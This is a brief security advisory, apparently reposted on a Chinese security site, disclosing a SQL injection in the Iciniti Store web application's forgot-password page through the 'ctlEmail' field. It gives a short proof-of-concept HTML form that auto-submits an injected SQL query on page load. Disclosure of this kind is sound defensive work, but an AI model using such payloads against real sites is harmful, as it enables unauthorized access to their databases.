Sense of Security - Security Advisory - SOS-12-003 影响产品：Iciniti Store 平台： Windows 影响版本 4.3.3683.31484已确认,其他版本也有可能 高位级别 影响 Manipulation of data 攻击者 远程无认证 解决方案：联系Iciniti进行升级 注释 Iciniti Store is a web application providing e-commerce and payment solutions. The application suffers from a SQL injection vulnerability in logon_forgot_password. asp x. It fails to validate data supplied in the 'ctlEmail' variable before being used in an SQL query. Proof of Concept. < html > <head></head> <body onLoad=javascript:document.form.submit()> <form action=" http://www.2cto.com /logon_forgot_password.aspx" name="form" method="POST"> <input type="text" name="ctlEmail" value="SELECT @@VERSION"> <input type="text" name="btnSubmit" value="Submit"> </form> </body> </html>
查看更多关于Iciniti Store SQL注射及解决方案 - 网站安全 - 自学的详细内容...